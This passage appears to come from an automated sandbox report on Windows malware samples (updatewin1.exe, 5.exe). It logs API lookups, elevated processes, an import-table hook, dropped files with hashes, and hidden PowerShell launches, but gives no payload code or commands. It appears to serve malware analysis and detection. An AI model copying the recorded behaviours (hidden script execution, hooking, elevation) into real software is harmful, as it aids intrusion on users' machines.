Get Address c:\windows\syswow64\kernel32.dll function = FreeEnvironmentStringsW, address_out = 0x76c351cb True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetEnvironmentStringsW, address_out = 0x76c351e3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCommandLineW, address_out = 0x76c35223 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCommandLineA, address_out = 0x76c351a1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCPInfo, address_out = 0x76c35189 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetOEMCP, address_out = 0x76c5d1a1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsValidCodePage, address_out = 0x76c34493 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetConsoleMode, address_out = 0x76c31328 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetFilePointerEx, address_out = 0x76c4c807 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateFileW, address_out = 0x76c33f5c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseHandle, address_out = 0x76c31410 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WriteConsoleW, address_out = 0x76c57aca True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = Sleep, address_out = 0x76c310ff True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrlenW, address_out = 0x76c31700 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLastError, address_out = 0x76c311c0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateThread, address_out = 0x76c334d5 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindNextFileW, address_out = 0x76c354ee True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = UnhandledExceptionFilter, address_out = 0x76c5772f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetUnhandledExceptionFilter, address_out = 0x76c387c9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcess, address_out = 0x76c31809 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsProcessorFeaturePresent, address_out = 0x76c35235 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = QueryPerformanceCounter, address_out = 0x76c31725 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcessId, address_out = 0x76c311f8 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentThreadId, address_out = 0x76c31450 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetSystemTimeAsFileTime, address_out = 0x76c33509 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeSListHead, address_out = 0x771694a4 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsDebuggerPresent, address_out = 0x76c34a5d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStartupInfoW, address_out = 0x76c34d40 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleHandleW, address_out = 0x76c334b0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = RtlUnwind, address_out = 0x76c5d1c3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetLastError, address_out = 0x76c311a9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnterCriticalSection, address_out = 0x771522b0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LeaveCriticalSection, address_out = 0x77152270 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DeleteCriticalSection, address_out = 0x771645f5 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeCriticalSectionAndSpinCount, address_out = 0x76c31916 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsAlloc, address_out = 0x76c349ad True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsGetValue, address_out = 0x76c311e0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsSetValue, address_out = 0x76c314fb True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsFree, address_out = 0x76c33587 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FreeLibrary, address_out = 0x76c334c8 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetProcAddress, address_out = 0x76c31222 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LoadLibraryExW, address_out = 0x76c3495d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = RaiseException, address_out = 0x76c358a6 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStdHandle, address_out = 0x76c351b3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WriteFile, address_out = 0x76c31282 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleFileNameW, address_out = 0x76c34950 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = MultiByteToWideChar, address_out = 0x76c3192e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WideCharToMultiByte, address_out = 0x76c3170d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleHandleExW, address_out = 0x76c34a6f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetACP, address_out = 0x76c3179c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapAlloc, address_out = 0x7715e026 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapFree, address_out = 0x76c314c9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindClose, address_out = 0x76c34442 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindFirstFileExW, address_out = 0x76c41811 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = GetDesktopWindow, address_out = 0x74f60a19 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = InvalidateRect, address_out = 0x74f61381 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = wsprintfW, address_out = 0x74f7e061 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = DrawIcon, address_out = 0x74f68deb True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = FillRect, address_out = 0x74f60eb6 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = SendMessageW, address_out = 0x74f59679 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = GetDlgItem, address_out = 0x74f7f1ba True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = PostQuitMessage, address_out = 0x74f59abb True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = EndPaint, address_out = 0x74f61341 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = BeginPaint, address_out = 0x74f61361 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = DefWindowProcW, address_out = 0x771625dd True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = DestroyWindow, address_out = 0x74f59a55 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = DialogBoxParamW, address_out = 0x74f7cfca True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = MoveWindow, address_out = 0x74f63698 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = GetClientRect, address_out = 0x74f60c62 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = CreateDialogParamW, address_out = 0x74f810dc True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = UpdateWindow, address_out = 0x74f63559 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = ShowWindow, address_out = 0x74f60dfb True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = SetWindowPos, address_out = 0x74f58e4e True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = CreateWindowExW, address_out = 0x74f58a29 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = RegisterClassExW, address_out = 0x74f5b17d True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = LoadCursorW, address_out = 0x74f588f7 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = DispatchMessageW, address_out = 0x74f5787b True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = TranslateMessage, address_out = 0x74f57809 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = TranslateAcceleratorW, address_out = 0x74f61246 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = GetMessageW, address_out = 0x74f578e2 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = LoadAcceleratorsW, address_out = 0x74f64dd6 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = LoadStringW, address_out = 0x74f58eb9 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = LoadIconW, address_out = 0x74f5b142 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = GetMonitorInfoW, address_out = 0x74f63000 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = MonitorFromWindow, address_out = 0x74f63150 True 1
Fn
Get Address c:\windows\syswow64\gdi32.dll function = TextOutW, address_out = 0x75aed41c True 1
Fn
Get Address c:\windows\syswow64\gdi32.dll function = SetBkMode, address_out = 0x75ae51a2 True 1
Fn
Get Address c:\windows\syswow64\gdi32.dll function = SelectObject, address_out = 0x75ae4f70 True 1
Fn
Get Address c:\windows\syswow64\gdi32.dll function = CreateFontW, address_out = 0x75aeb600 True 1
Fn
Get Address c:\windows\syswow64\gdi32.dll function = DeleteObject, address_out = 0x75ae5689 True 1
Fn
Get Address c:\windows\syswow64\gdi32.dll function = CreateSolidBrush, address_out = 0x75ae4f17 True 1
Fn
Get Address c:\windows\syswow64\gdi32.dll function = SetTextAlign, address_out = 0x75ae8401 True 1
Fn
Get Address c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll function = InitCommonControlsEx, address_out = 0x748409ce True 1
Fn
Get Address c:\windows\syswow64\winmm.dll function = timeGetTime, address_out = 0x74af26e0 True 1
Fn
Get Address c:\windows\syswow64\msvcr100.dll function = atexit, address_out = 0x749dc544 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeCriticalSectionEx, address_out = 0x76c34d28 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LCMapStringEx, address_out = 0x76cb47f1 True 1
Fn
Window (1)
»
Operation Window Name Additional Information Success Count Logfile
Create Windows Update class_name = WINDOWSUPDATE, wndproc_parameter = 0 True 1
Fn
System (271)
»
Operation Additional Information Success Count Logfile
Sleep duration = 1000 milliseconds (1.000 seconds) True 15
Fn
Get Time type = System Time, time = 2019-07-30 00:49:43 (UTC) True 1
Fn
Get Time type = Ticks, time = 116860 True 1
Fn
Get Time type = Performance Ctr, time = 17497531497 True 1
Fn
Get Time type = Ticks, time = 116891 True 1
Fn
Get Time type = System Time True 249
Fn
Get Time type = System Time, time = 2019-07-30 00:49:44 (UTC) True 1
Fn
Get Time type = Performance Ctr, time = 17595490842 True 1
Fn
Get Info type = Operating System True 1
Fn
Environment (2)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 2
Fn
Data
Process #9: updatewin1.exe
671 0
»
Information Value
ID #9
File Name c:\users\5p5nrgjn0js halpmcxz\appdata\local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\updatewin1.exe
Command Line "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\updatewin1.exe" --Admin
Initial Working Directory C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\
Monitor Start Time: 00:00:54, Reason: Child Process
Unmonitor End Time: 00:01:18, Reason: Self Terminated
Monitor Duration 00:00:24
OS Process Information
»
Information Value
PID 0xb40
Parent PID 0xb14 (c:\users\5p5nrgjn0js halpmcxz\appdata\local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\updatewin1.exe)
Bitness 32-bit
Is Created or Modified Executable True
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x B44
Memory Dumps
»
Name Start VA End VA Dump Reason PE Rebuilds Bitness Entry Points AV YARA Actions
buffer 0x005F5000 0x005F5FFF Marked Executable - 32-bit - False False
...
Hook Information
»
Type Installer Target Size Information Actions
IAT private_0x00000000005e0000:+0x1679d 104. entry of updatewin1.exe 4 bytes kernel32.dll:GetConsoleCP+0x0 now points to pagefile_0x0000000000870000:+0x6ff6f6
...
Dropped Files
»
Filename File Size Hash Values YARA Match Actions
C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\script.ps1 49 bytes MD5: f972c62f986b5ed49ad7713d93bf6c9f
SHA1: 4e157002bdb97e9526ab97bfafbf7c67e1d1efbf
SHA256: b47f85974a7ec2fd5aa82d52f08eb0f6cea7e596a98dd29e8b85b5c37beca0a8
SSDeep: 3:uIHeGAFcX5wTnl:/eGgHTl 		False
...
Host Behavior
File (8)
»
Operation Filename Additional Information Success Count Logfile
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\script.ps1 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Open STD_INPUT_HANDLE - True 2
Fn
Open STD_OUTPUT_HANDLE - True 2
Fn
Open STD_ERROR_HANDLE - True 2
Fn
Write C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\script.ps1 size = 49 True 1
Fn
Data
Process (2)
»
Operation Process Additional Information Success Count Logfile
Create powershell os_pid = 0xb50, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE True 1
Fn
Create powershell os_pid = 0x888, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE True 1
Fn
Module (150)
»
Operation Module Additional Information Success Count Logfile
Load kernel32.dll base_address = 0x76c20000 True 2
Fn
Load KERNEL32.dll base_address = 0x76c20000 True 1
Fn
Load ADVAPI32.dll base_address = 0x74d40000 True 1
Fn
Load SHELL32.dll base_address = 0x75fd0000 True 1
Fn
Load SHLWAPI.dll base_address = 0x75340000 True 1
Fn
Load msvcr100.dll base_address = 0x749c0000 True 1
Fn
Load api-ms-win-core-synch-l1-2-0 base_address = 0x0 False 2
Fn
Load kernel32 base_address = 0x0 False 2
Fn
Load kernel32 base_address = 0x76c20000 True 2
Fn
Load api-ms-win-core-fibers-l1-1-1 base_address = 0x0 False 2
Fn
Load api-ms-win-core-localization-l1-2-1 base_address = 0x0 False 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 11
Fn
Get Filename - process_name = c:\users\5p5nrgjn0js halpmcxz\appdata\local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\updatewin1.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\updatewin1.exe, size = 260 True 1
Fn
Get Filename api-ms-win-core-localization-l1-2-1 process_name = c:\users\5p5nrgjn0js halpmcxz\appdata\local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\updatewin1.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\updatewin1.exe, size = 260 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsAlloc, address_out = 0x76c34f2b True 3
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsGetValue, address_out = 0x76c31252 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsSetValue, address_out = 0x76c34208 True 3
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsFree, address_out = 0x76c3359f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EncodePointer, address_out = 0x77170fcb True 9
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DecodePointer, address_out = 0x77169d35 True 4
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateToolhelp32Snapshot, address_out = 0x76c5735f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = Module32FirstW, address_out = 0x76c579f9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualAlloc, address_out = 0x76c31856 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualProtect, address_out = 0x76c3435f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualFree, address_out = 0x76c3186e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetVersionExA, address_out = 0x76c33519 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TerminateProcess, address_out = 0x76c4d802 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ExitProcess, address_out = 0x76c37a10 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetErrorMode, address_out = 0x76c31b00 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateFileA, address_out = 0x76c353c6 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WriteFile, address_out = 0x76c31282 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlushFileBuffers, address_out = 0x76c3469b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseHandle, address_out = 0x76c31410 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateProcessA, address_out = 0x76c31072 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcpyW, address_out = 0x76c53102 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateProcessW, address_out = 0x76c3103d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WaitForSingleObject, address_out = 0x76c31136 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateFileW, address_out = 0x76c33f5c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrlenA, address_out = 0x76c35a4b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WideCharToMultiByte, address_out = 0x76c3170d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = MultiByteToWideChar, address_out = 0x76c3192e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCommandLineW, address_out = 0x76c35223 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WriteConsoleW, address_out = 0x76c57aca True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetFilePointerEx, address_out = 0x76c4c807 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetConsoleMode, address_out = 0x76c31328 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DeleteFileA, address_out = 0x76c35444 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapReAlloc, address_out = 0x77171f6e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapSize, address_out = 0x77163002 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetProcessHeap, address_out = 0x76c314e9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LCMapStringW, address_out = 0x76c317b9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStringTypeW, address_out = 0x76c31946 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetFileType, address_out = 0x76c33531 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetStdHandle, address_out = 0x76cb454f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcatA, address_out = 0x76c52b7a True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcpyA, address_out = 0x76c52a9d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetEnvironmentVariableA, address_out = 0x76c333a0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetShortPathNameA, address_out = 0x76c5594d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleFileNameA, address_out = 0x76c314b1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetConsoleCP, address_out = 0x76cd7bff True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetLastError, address_out = 0x76c311a9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FreeEnvironmentStringsW, address_out = 0x76c351cb True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetEnvironmentStringsW, address_out = 0x76c351e3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCommandLineA, address_out = 0x76c351a1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCPInfo, address_out = 0x76c35189 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetOEMCP, address_out = 0x76c5d1a1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsValidCodePage, address_out = 0x76c34493 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = UnhandledExceptionFilter, address_out = 0x76c5772f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetUnhandledExceptionFilter, address_out = 0x76c387c9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcess, address_out = 0x76c31809 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsProcessorFeaturePresent, address_out = 0x76c35235 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = QueryPerformanceCounter, address_out = 0x76c31725 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcessId, address_out = 0x76c311f8 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentThreadId, address_out = 0x76c31450 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetSystemTimeAsFileTime, address_out = 0x76c33509 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeSListHead, address_out = 0x771694a4 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsDebuggerPresent, address_out = 0x76c34a5d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStartupInfoW, address_out = 0x76c34d40 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleHandleW, address_out = 0x76c334b0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = RtlUnwind, address_out = 0x76c5d1c3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = RaiseException, address_out = 0x76c358a6 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLastError, address_out = 0x76c311c0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnterCriticalSection, address_out = 0x771522b0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LeaveCriticalSection, address_out = 0x77152270 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DeleteCriticalSection, address_out = 0x771645f5 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeCriticalSectionAndSpinCount, address_out = 0x76c31916 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsAlloc, address_out = 0x76c349ad True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsGetValue, address_out = 0x76c311e0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsSetValue, address_out = 0x76c314fb True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsFree, address_out = 0x76c33587 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FreeLibrary, address_out = 0x76c334c8 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetProcAddress, address_out = 0x76c31222 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LoadLibraryExW, address_out = 0x76c3495d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStdHandle, address_out = 0x76c351b3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleFileNameW, address_out = 0x76c34950 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleHandleExW, address_out = 0x76c34a6f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetACP, address_out = 0x76c3179c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapAlloc, address_out = 0x7715e026 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapFree, address_out = 0x76c314c9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindClose, address_out = 0x76c34442 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindFirstFileExW, address_out = 0x76c41811 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindNextFileW, address_out = 0x76c354ee True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegOpenKeyExW, address_out = 0x74d5468d True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegCloseKey, address_out = 0x74d5469d True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegCreateKeyExW, address_out = 0x74d540fe True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = SetSecurityDescriptorDacl, address_out = 0x74d5415e True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = InitializeSecurityDescriptor, address_out = 0x74d54620 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegSetValueExW, address_out = 0x74d514d6 True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = ShellExecuteExW, address_out = 0x75ff1e46 True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = SHGetFolderPathW, address_out = 0x76055708 True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = CommandLineToArgvW, address_out = 0x75fe9ee8 True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathAppendW, address_out = 0x753581ef True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathFileExistsA, address_out = 0x7537ad1a True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathRemoveFileSpecW, address_out = 0x75353248 True 1
Fn
Get Address c:\windows\syswow64\msvcr100.dll function = atexit, address_out = 0x749dc544 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeCriticalSectionEx, address_out = 0x76c34d28 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LCMapStringEx, address_out = 0x76cb47f1 True 1
Fn
System (256)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-07-30 00:49:44 (UTC) True 2
Fn
Get Time type = Ticks, time = 117125 True 1
Fn
Get Time type = Performance Ctr, time = 17524338118 True 1
Fn
Get Time type = Ticks, time = 117156 True 1
Fn
Get Time type = System Time True 249
Fn
Get Time type = Performance Ctr, time = 17600553606 True 1
Fn
Get Info type = Operating System True 1
Fn
Environment (2)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 2
Fn
Data
Process #10: 5.exe
1153 2
»
Information Value
ID #10
File Name c:\users\5p5nrgjn0js halpmcxz\appdata\local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\5.exe
Command Line "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\5.exe"
Initial Working Directory C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\
Monitor Start Time: 00:00:55, Reason: Child Process
Unmonitor End Time: 00:01:17, Reason: Self Terminated
Monitor Duration 00:00:22
OS Process Information
»
Information Value
PID 0xb48
Parent PID 0xad8 (c:\users\5p5nrgjn0js halpmcxz\desktop\bxavdk.exe)
Bitness 32-bit
Is Created or Modified Executable True
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x B4C
0x B74
0x B78
0x B7C
0x B80
0x B84
0x B88
0x B90
0x 89C
Memory Dumps
»
Name Start VA End VA Dump Reason PE Rebuilds Bitness Entry Points AV YARA Actions
5.exe 0x00400000 0x00511FFF Relevant Image - 32-bit - False False
...
buffer 0x0062DC70 0x0064958F Marked Executable - 32-bit - False False
...
buffer 0x0062DC70 0x0064958F Content Changed - 32-bit 0x0063079F, 0x0062FE74 False False
...
Dropped Files
»
Filename File Size Hash Values YARA Match Actions
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-console-l1-1-0.dll 18.30 KB MD5: 502263c56f931df8440d7fd2fa7b7c00
SHA1: 523a3d7c3f4491e67fc710575d8e23314db2c1a2
SHA256: 94a5df1227818edbfd0d5091c6a48f86b4117c38550343f780c604eee1cd6231
SSDeep: 192:3jBMWIghWGZiKedXe123Ouo+Uggs/nGfe4pBjS/uBmWh0txKdmVWQ4GWDZoiyqnP:GWPhWVXYi00GftpBjSemTltcwpS 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-datetime-l1-1-0.dll 17.80 KB MD5: cb978304b79ef53962408c611dfb20f5
SHA1: eca42f7754fb0017e86d50d507674981f80bc0b9
SHA256: 90fae0e7c3644a6754833c42b0ac39b6f23859f9a7cf4b6c8624820f59b9dad3
SSDeep: 192:RWIghWG4U9xluZo123Ouo+Uggs/nGfe4pBjSbMDPxVWh0txKdmVWQ4CWrDry6qnZ:RWPhWFv0i00GftpBjBHem6plUG+zIw 		False
...
C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-core-debug-l1-1-0.dll 17.80 KB MD5: 88ff191fd8648099592ed28ee6c442a5
SHA1: 6a4f818b53606a5602c609ec343974c2103bc9cc
SHA256: c310cc91464c9431ab0902a561af947fa5c973925ff70482d3de017ed3f73b7d
SSDeep: 384:cWPhWM4Ri00GftpBj2YILemtclD16PaEC:l10oiBQe/L 		False
...
